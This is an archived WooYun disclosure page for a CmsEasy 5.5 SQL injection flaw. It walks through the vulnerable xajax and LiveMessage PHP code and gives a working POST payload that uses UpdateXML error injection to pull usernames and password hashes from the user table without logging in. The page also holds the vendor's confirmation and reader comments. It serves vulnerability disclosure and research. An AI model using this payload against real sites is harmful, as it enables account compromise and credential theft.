当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(29) 关注此漏洞

缺陷编号: WooYun-2014-76629

漏洞标题: cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)

相关厂商: cmseasy

漏洞作者: menmen519

提交时间: 2014-09-19 17:03

公开时间: 2014-12-18 17:04

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 逻辑错误 安全意识不足 php源码审核 sql注射漏洞利用技巧 安全意识不足

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-19: 细节已通知厂商并且等待厂商处理中
2014-09-20: 厂商已经确认,细节仅向厂商公开
2014-09-23: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-11-14: 细节向核心白帽子及相关领域专家公开
2014-11-24: 细节向普通白帽子公开
2014-12-04: 细节向实习白帽子公开
2014-12-18: 细节向公众公开

简要描述:

cmseasy 前台无视gpc的sql注入

详细说明:

我下载的是最新版本的cmseasy,之前有人提过这里的漏洞,官方进行了修补,但是越修补,越捉急,直接看代码:



这里是注册函数的地方

celive.class.php(480-497):

code 区域
function xajax_live() {
if (!$this->xajax_live_flag) {
$this->xajax_live_flag=true;
include_once(dirname(__FILE__).'/xajax.inc.php');
include_once(dirname(__FILE__).'/xajax.class.php');
global $xajax_live;
$xajax_live=new xajax();
$xajax_live->setCharEncoding('utf-8');
$xajax_live->decodeUTF8InputOn();
$xajax_live->registerFunction('Request');
$xajax_live->registerFunction('Postdata');
$xajax_live->registerFunction('ChatHistory');
$xajax_live->registerFunction('LiveMessage');
$xajax_live->registerFunction('EndChat');
$xajax_live->registerFunction('GetAdminEndChat');
$xajax_live->processRequests();
}
}







这里就是最后我们执行的注册函数

xajx.inc.php:(175-195):

code 区域
function LiveMessage($a) {
global $db;
$sessionid = $_SESSION['sessionid'];
$name = htmlspecialchars($a['name']);
$email = htmlspecialchars($a['email']);
$country = htmlspecialchars($a['country']);
$phone = htmlspecialchars($a['phone']);
$departmentid = htmlspecialchars($a['departmentid']);
$message = htmlspecialchars($a['message']);
$timestamp = time();
$ip = $_SERVER['REMOTE_ADDR'];
$sql = "INSERT INTO `chat` (`sessionid`,`name`,`email`,`phone`,`departmentid`,`message`,`timestamp`,`ip`,`status`) VALUES('" . $sessionid . "','" . $name . "','" . $email . "','" . $phone . "','" . $departmentid . "','" . $message . "','" . $timestamp . "','" . $ip . "','2')";
$db->query($sql);
$sql = "DELETE FROM `sessions` WHERE `id`='" . $sessionid . "'";
$db->query($sql);
$text = "<?php echo $lang[shout_success]?>\n";
$objResponse = new xajaxResponse('utf-8');
$objResponse->addAssign('content', 'innerHTML', $text);
$objResponse->redirect('../', 5);
return $objResponse;
}







搞清楚了这个我们看一下 参数怎么流入进来的:

xajax.class.php(306-324):

code 区域
//这里如果gpc开启,那么还原字符串
for ($i = 0;$i <sizeof($aArgs);$i++)
{
if (get_magic_quotes_gpc() == 1 &&is_string($aArgs[$i])) {
$aArgs[$i] = stripslashes($aArgs[$i]);
}
if (stristr($aArgs[$i],"<xjxobj>") != false)
{
$aArgs[$i] = $this->_xmlToArray("xjxobj",$aArgs[$i]);
}
else if (stristr($aArgs[$i],"<xjxquery>") != false)
{
$aArgs[$i] = $this->_xmlToArray("xjxquery",$aArgs[$i]);
}
else if ($this->bDecodeUTF8Input)
{
$aArgs[$i] = $this->_decodeUTF8Data($aArgs[$i]);
}
}





看见没有,如果这里开启的gpc,那么这里就直接stripslashes,坐着肯定是为了后面解析xml,才做了这个考虑





问题就在这里,我们构造发送数据为:

url:

**.**.**.**/CmsEasy_5.5_UTF-8_20140818_new/uploads/celive/live/header.php

postdata:

xajax=LiveMessage&xajaxargs[0]=<xjxobj><q><e><k>name</k><v>',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)--%20</v></e></q></xjxobj>



然后访问一下,直接密码用户名了:



41.png

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-09-20 07:49

厂商回复:

感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-09-19 17:10 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    常被蹂躏的五大cms之cmseasy

  2. 2014-09-19 17:14 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)
    0

    恩 我就知道

  3. 2014-09-19 19:48 | YouYaX(乌云厂商)
    0

    @phith0n 另外四个是?

  4. 2014-09-19 21:16 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @YouYaX youyax、

  5. 2014-09-19 21:19 | YouYaX(乌云厂商)
    0

    @′ 雨。 我很久没来了,鉴于开源代码暴露的种种弊端及潜在危险,我已经不开源了,`(*∩_∩*)′

  6. 2014-09-19 21:31 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @YouYaX 开源才能更好的修复漏洞嘛。 总有好白帽给你提出来的啦。

  7. 2014-09-23 11:08 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)
    0

    感觉问题肯定又是在LiveMessage那反复出

  8. 2014-12-18 20:46 | 萌萌哒-花粉 ( 路人 | Rank:4 漏洞数:5 | 多乌云 多美女 花粉 顾名思义 就是校花班花...)
    1

    密码怎么解密那

登录后才能发表评论,请先 登录